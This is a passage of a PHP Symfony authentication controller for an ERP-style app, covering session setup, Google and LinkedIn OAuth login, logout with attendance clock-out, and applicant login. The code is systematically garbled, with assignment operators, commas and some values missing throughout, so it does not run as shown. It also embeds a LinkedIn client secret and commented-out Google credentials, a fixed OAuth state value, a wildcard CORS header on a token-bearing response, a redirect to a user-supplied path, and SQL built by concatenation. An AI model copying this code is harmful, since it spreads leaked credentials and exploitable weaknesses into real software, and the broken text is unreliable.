  5440.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5441.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5442.                         'REMEMBERME' => $remember_me,
  5443.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5444.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5445.                         'oAuthToken' => $oAuthToken,
  5446.                         'locale' => $locale,
  5447.                         'firebaseToken' => $firebaseToken,
  5448.                         'token' => $session->get('token'),
  5449.                         'firstLogin' => $firstLogin,
  5450.                         'oAuthImage' => $oAuthImage,
  5451.                         'appIdList' => json_encode($appIdList),
  5452.                         'branchIdList' => json_encode($branchIdList),
  5453.                         'branchId' => $branchId,
  5454.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5455.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5456.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5457.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5458.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5459.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5460.                     );
  5461.                     if ($systemType == '_CENTRAL_') {
  5462.                         $accessList = [];
  5463. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5464.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5465.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5466.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5467.                                     $d = array(
  5468.                                         'userType' => $thisUserUserType,
  5469.                                         'globalId' => $globalId,
  5470.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5471.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5472.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5473.                                         'systemType' => '_ERP_',
  5474.                                         'companyId' => 1,
  5475.                                         'appId' => $thisUserAppId,
  5476.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5477.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5478.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5479.                                                 array(
  5480.                                                     'globalId' => $globalId,
  5481.                                                     'appId' => $thisUserAppId,
  5482.                                                     'authenticate' => 1,
  5483.                                                     'userType' => $thisUserUserType
  5484.                                                 )
  5485.                                             )
  5486.                                         ),
  5487.                                         'userCompanyList' => [
  5488.                                         ]
  5489.                                     );
  5490.                                     $accessList[] = $d;
  5491.                                 }
  5492.                             }
  5493.                         }
  5494.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5495.                         $session_data['userAccessList'] = $accessList;
  5496.                     }
  5497.                     $ultimateData System::setSessionForUser($em_goc,
  5498.                         $session,
  5499.                         $session_data,
  5500.                         $config
  5501.                     );
  5502. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5503.                     $session_data $ultimateData['sessionData'];
  5504.                     $session_data $this->filterClientSessionData($session_data);
  5505.                     $token $ultimateData['token'];
  5506.                     $session->set('token'$token);
  5507.                     if ($systemType == '_CENTRAL_') {
  5508.                         $session->set('csToken'$token);
  5509.                     } else {
  5510.                         $session->set('csToken'$csToken);
  5511.                     }
  5512.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5513.                         $session->set('remoteVerified'1);
  5514.                         $response = new JsonResponse(array(
  5515.                             'token' => $token,
  5516.                             'uid' => $session->get(UserConstants::USER_ID),
  5517.                             'session' => $session,
  5518.                             'success' => true,
  5519.                             'session_data' => $session_data,
  5520.                         ));
  5521.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5522.                         return $response;
  5523.                     }
  5524.                     //TEMP START
  5525.                     if ($systemType == '_CENTRAL_') {
  5526.                         return $this->redirectToRoute('central_landing');
  5527.                     }
  5528.                     //TREMP END
  5529.                     if ($userForcedRoute != '')
  5530.                         return $this->redirectToRoute($userForcedRoute);
  5531.                     if ($request->request->has('referer_path')) {
  5532.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5533.                             return $this->redirect($request->request->get('referer_path'));
  5534.                         }
  5535.                     }
  5536.                     if ($request->query->has('refRoute')) {
  5537.                         if ($request->query->get('refRoute') == '8917922')
  5538.                             $userDefaultRoute 'apply_for_consultant';
  5539.                     }
  5540.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5541.                         $userDefaultRoute 'dashboard';
  5542.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5543.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5544.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5545.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5546.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5547.                                 return $this->redirect($red);
  5548.                             }
  5549.                         } else {
  5550.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5551.                         }
  5552.                     } else
  5553.                         return $this->redirectToRoute($userDefaultRoute);
  5554.                 }
  5555.             }
  5556.         }
  5557.         $session $request->getSession();
  5558.         if (isset($encData['appId'])) {
  5559.             if (isset($gocDataListByAppId[$encData['appId']]))
  5560.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5561.         }
  5562.         $routeName $request->attributes->get('_route');
  5563.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5564.             $refRoute '';
  5565.             $message '';
  5566.             $errorField '_NONE_';
  5567. //            if ($request->query->has('message')) {
  5568. //                $message = $request->query->get('message');
  5569. //
  5570. //            }
  5571. //            if ($request->query->has('errorField')) {
  5572. //                $errorField = $request->query->get('errorField');
  5573. //
  5574. //            }
  5575.             if ($refRoute != '') {
  5576.                 if ($refRoute == '8917922')
  5577.                     $redirectRoute 'apply_for_consultant';
  5578.             }
  5579.             if ($request->query->has('refRoute')) {
  5580.                 $refRoute $request->query->get('refRoute');
  5581.                 if ($refRoute == '8917922')
  5582.                     $redirectRoute 'apply_for_consultant';
  5583.             }
  5584.             $google_client = new Google_Client();
  5585. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5586. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5587.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5588.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5589.             } else {
  5590.                 $url $this->generateUrl(
  5591.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5592.                 );
  5593.             }
  5594.             $selector BuddybeeConstant::$selector;
  5595.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5596. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5597.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5598. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5599.             $google_client->setRedirectUri($url);
  5600.             $google_client->setAccessType('offline');        // offline access
  5601.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5602.             $google_client->setRedirectUri($url);
  5603.             $google_client->addScope('email');
  5604.             $google_client->addScope('profile');
  5605.             $google_client->addScope('openid');
  5606.             return $this->render(
  5607.                 '@Authentication/pages/views/applicant_login.html.twig',
  5608.                 [
  5609.                     'page_title' => 'BuddyBee Login',
  5610.                     'oAuthLink' => $google_client->createAuthUrl(),
  5611.                     'redirect_url' => $url,
  5612.                     'message' => $message,
  5613.                     'errorField' => '',
  5614.                     'systemType' => $systemType,
  5615.                     'ownServerId' => $ownServerId,
  5616.                     'refRoute' => $refRoute,
  5617.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5618.                     'selector' => $selector
  5619.                 ]
  5620.             );
  5621.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5622.             $refRoute '';
  5623.             $message '';
  5624.             $errorField '_NONE_';
  5625. //            if ($request->query->has('message')) {
  5626. //                $message = $request->query->get('message');
  5627. //
  5628. //            }
  5629. //            if ($request->query->has('errorField')) {
  5630. //                $errorField = $request->query->get('errorField');
  5631. //
  5632. //            }
  5633.             if ($refRoute != '') {
  5634.                 if ($refRoute == '8917922')
  5635.                     $redirectRoute 'apply_for_consultant';
  5636.             }
  5637.             if ($request->query->has('refRoute')) {
  5638.                 $refRoute $request->query->get('refRoute');
  5639.                 if ($refRoute == '8917922')
  5640.                     $redirectRoute 'apply_for_consultant';
  5641.             }
  5642.             $google_client = new Google_Client();
  5643. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5644. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5645.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5646.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5647.             } else {
  5648.                 $url $this->generateUrl(
  5649.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5650.                 );
  5651.             }
  5652.             $selector BuddybeeConstant::$selector;
  5653. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5654.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5655. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5656.             $google_client->setRedirectUri($url);
  5657.             $google_client->setAccessType('offline');        // offline access
  5658.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5659.             $google_client->setRedirectUri($url);
  5660.             $google_client->addScope('email');
  5661.             $google_client->addScope('profile');
  5662.             $google_client->addScope('openid');
  5663.             return $this->render(
  5664.                 '@Authentication/pages/views/central_login.html.twig',
  5665.                 [
  5666.                     'page_title' => 'Central Login',
  5667.                     'oAuthLink' => $google_client->createAuthUrl(),
  5668.                     'redirect_url' => $url,
  5669.                     'message' => $message,
  5670.                     'systemType' => $systemType,
  5671.                     'ownServerId' => $ownServerId,
  5672.                     'errorField' => '',
  5673.                     'refRoute' => $refRoute,
  5674.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5675.                     'selector' => $selector
  5676.                 ]
  5677.             );
  5678.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5679.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5680.         } else
  5681.             return $this->render(
  5682.                 '@Authentication/pages/views/login_new.html.twig',
  5683.                 array(
  5684.                     "message" => $message,
  5685.                     'page_title' => 'Login',
  5686.                     'gocList' => $gocDataListForLoginWeb,
  5687.                     'gocId' => $gocId != $gocId '',
  5688.                     'systemType' => $systemType,
  5689.                     'ownServerId' => $ownServerId,
  5690.                     'encData' => $encData,
  5691.                     //                'ref'=>$request->
  5692.                 )
  5693.             );
  5694.     }
  5695.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5696.     {
  5697.         $em $this->getDoctrine()->getManager();
  5698.         MiscActions::initiateAdminUser($em);
  5699.         $this->addFlash(
  5700.             'success',
  5701.             'The Action was Successful.'
  5702.         );
  5703.         return $this->redirectToRoute('user_login');
  5704.     }
  5705.     public function LogoutAction(Request $request$remoteVerify 0)
  5706.     {
  5707.         $session $request->getSession();
  5708.         $em_goc $this->getDoctrine()->getManager('company_group');
  5709.         $session $request->getSession();
  5710.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5711. //        return new JsonResponse([$token]);
  5712.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5713. //                    return new JsonResponse([$token]);
  5714.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5715.             if ($to_set_session_data != null) {
  5716.                 foreach ($to_set_session_data as $k => $d) {
  5717.                     //check if mobile
  5718.                     $session->set($k$d);
  5719.                 }
  5720.             } else {
  5721.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5722.             }
  5723.         }
  5724.         $userId $session->get(UserConstants::USER_ID);
  5725.         $currentTime = new \Datetime();
  5726.         $currTs $currentTime->format('U');
  5727.         $routeName $request->attributes->get('_route');
  5728.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5729.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5730.         if ($request->query->get('endCurrentTask'1) == 1) {
  5731.             if (
  5732.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5733.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5734.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5735.             ) {
  5736.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5737.                 $appId $session->get(UserConstants::USER_APP_ID);
  5738.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5739.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5740.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5741.                 if (1) {
  5742.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5743.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5744.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5745.                     $currTime = new \DateTime();
  5746.                     $options = array(
  5747.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5748.                         'notification_server' => $this->container->getParameter('notification_server'),
  5749.                     );
  5750.                     $positionsArray = [
  5751.                         array(
  5752.                             'employeeId' => $empId,
  5753.                             'userId' => $session->get(UserConstants::USER_ID0),
  5754.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5755.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5756.                             'lat' => 23.8623834,
  5757.                             'lng' => 90.3979294,
  5758.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5759. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5760.                         )
  5761.                     ];
  5762.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5763.                     if ($positionsArray == null$positionsArray = [];
  5764.                     $dataByAttId = [];
  5765.                     $workPlaceType '_UNSET_';
  5766.                     foreach ($positionsArray as $findex => $d) {
  5767.                         $sysUserId 0;
  5768.                         $userId 0;
  5769.                         $empId 0;
  5770.                         $dtTs 0;
  5771.                         $timeZoneStr '+0000';
  5772.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5773.                         if (isset($d['userId'])) $userId $d['userId'];
  5774.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5775.                         if (isset($d['tsMilSec'])) {
  5776.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5777.                         }
  5778.                         if ($dtTs == 0) {
  5779.                             $currTsTime = new \DateTime();
  5780.                             $dtTs $currTsTime->format('U');
  5781.                         } else {
  5782.                             $currTsTime = new \DateTime('@' $dtTs);
  5783.                         }
  5784.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5785.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5786.                         $EmployeeAttendance $this->getDoctrine()
  5787.                             ->getRepository(EmployeeAttendance::class)
  5788.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5789.                         if (!$EmployeeAttendance) {
  5790.                             continue;
  5791.                         } else {
  5792.                         }
  5793.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5794.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5795.                             $workPlaceType '_STATIC_';
  5796.                         }
  5797.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5798.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5799.                                 'attendanceInfo' => $attendanceInfo,
  5800.                                 'empId' => $empId,
  5801.                                 'lat' => 0,
  5802.                                 'lng' => 0,
  5803.                                 'address' => 0,
  5804.                                 'sysUserId' => $sysUserId,
  5805.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5806.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5807.                                 'positionArray' => []
  5808.                             );
  5809.                         $posData = array(
  5810.                             'ts' => $dtTs,
  5811.                             'lat' => $d['lat'],
  5812.                             'lng' => $d['lng'],
  5813.                             'marker' => $d['markerId'],
  5814.                             'src' => 2,
  5815.                         );
  5816.                         $posDataArray = array(
  5817.                             $dtTs,
  5818.                             $d['lat'],
  5819.                             $d['lng'],
  5820.                             $d['markerId'],
  5821.                             2
  5822.                         );
  5823.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5824.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5825.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5826.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5827.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5828.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5829.                         if (isset($d['address']))
  5830.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5831. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5832.                     }
  5833.                     $response = array(
  5834.                         'success' => true,
  5835.                     );
  5836.                     foreach ($dataByAttId as $attInfoId => $d) {
  5837.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5838.                             $d['empId'],
  5839.                             $d['sysUserId'],
  5840.                             $d['companyId'],
  5841.                             $d['appId'],
  5842.                             $request,
  5843.                             $d['attendanceInfo'],
  5844.                             $options,
  5845.                             $d['positionArray'],
  5846.                             $d['lat'],
  5847.                             $d['lng'],
  5848.                             $d['address'],
  5849.                             $d['markerId']
  5850.                         );
  5851.                     }
  5852.                 }
  5853.             }
  5854.         }
  5855.         if ($token != '')
  5856.             MiscActions::DeleteToken($em_goc$token);
  5857.         $session->clear();
  5858.         $session->set('CLEARLOGIN'1);
  5859.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5860.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5861.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5862.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5863.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5864.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5865.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5866.                 } else {
  5867.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5868.                 }
  5869.             }
  5870.         } else {
  5871.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5872.         }
  5873. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5874. //            )
  5875. //
  5876. //        );
  5877.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5878.             if ($userId) {
  5879.                 return new JsonResponse(array(
  5880.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5881.                     "message" => "Logout Successfull!",
  5882.                     'session_data' => [],
  5883.                     'userId' => $userId
  5884.                 ));
  5885.             } else {
  5886.                 return new JsonResponse(array(
  5887.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5888.                     "message" => "Already Logout",
  5889.                     'session_data' => [],
  5890.                     'userId' => $userId
  5891.                 ));
  5892.             }
  5893.         }
  5894.         return $this->redirectToRoute("dashboard");
  5895.     }
  5896.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5897.     {
  5898.         $session $request->getSession();
  5899.         $email $request->getSession()->get('userEmail');
  5900.         $sessionUserId $request->getSession()->get('userId');
  5901.         $oAuthData = [];
  5902. //    $encData='';
  5903.         $em $this->getDoctrine()->getManager('company_group');
  5904.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5905.         $redirectRoute 'dashboard';
  5906.         if ($encData != '') {
  5907.             if ($encData == '8917922')
  5908.                 $redirectRoute 'apply_for_consultant';
  5909.         }
  5910.         if ($request->query->has('encData')) {
  5911.             $encData $request->query->get('encData');
  5912.             if ($encData == '8917922')
  5913.                 $redirectRoute 'apply_for_consultant';
  5914.         }
  5915.         $message '';
  5916.         $errorField '_NONE_';
  5917.         if ($request->query->has('message')) {
  5918.             $message $request->query->get('message');
  5919.         }
  5920.         if ($request->query->has('errorField')) {
  5921.             $errorField $request->query->get('errorField');
  5922.         }
  5923.         if ($request->request->has('oAuthData')) {
  5924.             $oAuthData $request->request->get('oAuthData', []);
  5925.         } else {
  5926.             $oAuthData = [
  5927.                 'email' => $request->request->get('email'''),
  5928.                 'uniqueId' => $request->request->get('uniqueId'''),
  5929.                 'oAuthHash' => '_NONE_',
  5930.                 'image' => $request->request->get('image'''),
  5931.                 'emailVerified' => $request->request->get('emailVerified'''),
  5932.                 'name' => $request->request->get('name'''),
  5933.                 'firstName' => $request->request->get('firstName'''),
  5934.                 'lastName' => $request->request->get('lastName'''),
  5935.                 'type' => 1,
  5936.                 'token' => $request->request->get('oAuthtoken'''),
  5937.             ];
  5938.         }
  5939.         $isApplicantExist null;
  5940.         if ($email) {
  5941.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5942.                 $isApplicantExist $applicantRepo->findOneBy([
  5943.                     'applicantId' => $sessionUserId
  5944.                 ]);
  5945.             } else
  5946.                 return $this->redirectToRoute($redirectRoute);
  5947.         }
  5948.         $google_client = new Google_Client();
  5949. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5950. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5951.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5952.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5953.         } else {
  5954.             $url $this->generateUrl(
  5955.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5956.             );
  5957.         }
  5958.         $selector BuddybeeConstant::$selector;
  5959.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5960.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5961. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5962.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5963. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5964.         $google_client->setRedirectUri($url);
  5965.         $google_client->setAccessType('offline');        // offline access
  5966.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5967.         $google_client->addScope('email');
  5968.         $google_client->addScope('profile');
  5969.         $google_client->addScope('openid');
  5970. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5971.         //linked in 1st
  5972.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5973.             $curl curl_init();
  5974.             curl_setopt_array($curl, array(
  5975.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5976.                 CURLOPT_HEADER => false,  // don't return headers
  5977.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5978.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5979.                 CURLOPT_ENCODING => "",     // handle compressed
  5980.                 CURLOPT_USERAGENT => "test"// name of client
  5981.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5982.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5983.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5984.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5985.                 CURLOPT_USERAGENT => 'InnoPM',
  5986.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5987.                 CURLOPT_POST => 1,
  5988.                 CURLOPT_HTTPHEADER => array(
  5989.                     'Content-Type: application/x-www-form-urlencoded'
  5990.                 )
  5991.             ));
  5992.             $content curl_exec($curl);
  5993.             $contentArray = [];
  5994.             curl_close($curl);
  5995.             $token false;
  5996. //      return new JsonResponse(array(
  5997. //          'content'=>$content,
  5998. //          'contentArray'=>json_decode($content,true),
  5999. //
  6000. //      ));
  6001.             if ($content) {
  6002.                 $contentArray json_decode($contenttrue);
  6003.                 $token $contentArray['access_token'];
  6004.             }
  6005.             if ($token) {
  6006.                 $applicantInfo = [];
  6007.                 $curl curl_init();
  6008.                 curl_setopt_array($curl, array(
  6009.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6010.                     CURLOPT_HEADER => false,  // don't return headers
  6011.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6012.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6013.                     CURLOPT_ENCODING => "",     // handle compressed
  6014.                     CURLOPT_USERAGENT => "test"// name of client
  6015.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6016.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6017.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6018.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6019.                     CURLOPT_USERAGENT => 'InnoPM',
  6020.                     CURLOPT_HTTPGET => 1,
  6021.                     CURLOPT_HTTPHEADER => array(
  6022.                         'Authorization: Bearer ' $token,
  6023.                         'Header-Key-2: Header-Value-2'
  6024.                     )
  6025.                 ));
  6026.                 $userGeneralcontent curl_exec($curl);
  6027.                 curl_close($curl);
  6028.                 if ($userGeneralcontent) {
  6029.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6030.                 }
  6031.                 $curl curl_init();
  6032.                 curl_setopt_array($curl, array(
  6033.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6034.                     CURLOPT_HEADER => false,  // don't return headers
  6035.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6036.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6037.                     CURLOPT_ENCODING => "",     // handle compressed
  6038.                     CURLOPT_USERAGENT => "test"// name of client
  6039.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6040.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6041.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6042.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6043. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6044.                     CURLOPT_USERAGENT => 'InnoPM',
  6045.                     CURLOPT_HTTPGET => 1,
  6046.                     CURLOPT_HTTPHEADER => array(
  6047.                         'Authorization: Bearer ' $token,
  6048.                         'Header-Key-2: Header-Value-2'
  6049.                     )
  6050.                 ));
  6051.                 $userEmailcontent curl_exec($curl);
  6052.                 curl_close($curl);
  6053.                 $token false;
  6054.                 if ($userEmailcontent) {
  6055.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6056.                 }
  6057. //        $oAuthEmail = $applicantInfo['email'];
  6058. //        return new JsonResponse(array(
  6059. //          'userEmailcontent'=>$userEmailcontent,
  6060. //          'userGeneralcontent'=>$userGeneralcontent,
  6061. //        ));
  6062. //        return new response($userGeneralcontent);
  6063.                 $oAuthData = [
  6064.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6065.                     'uniqueId' => $userGeneralcontent['id'],
  6066.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6067.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6068.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6069.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6070.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6071.                     'type' => 1,
  6072.                     'token' => $token,
  6073.                 ];
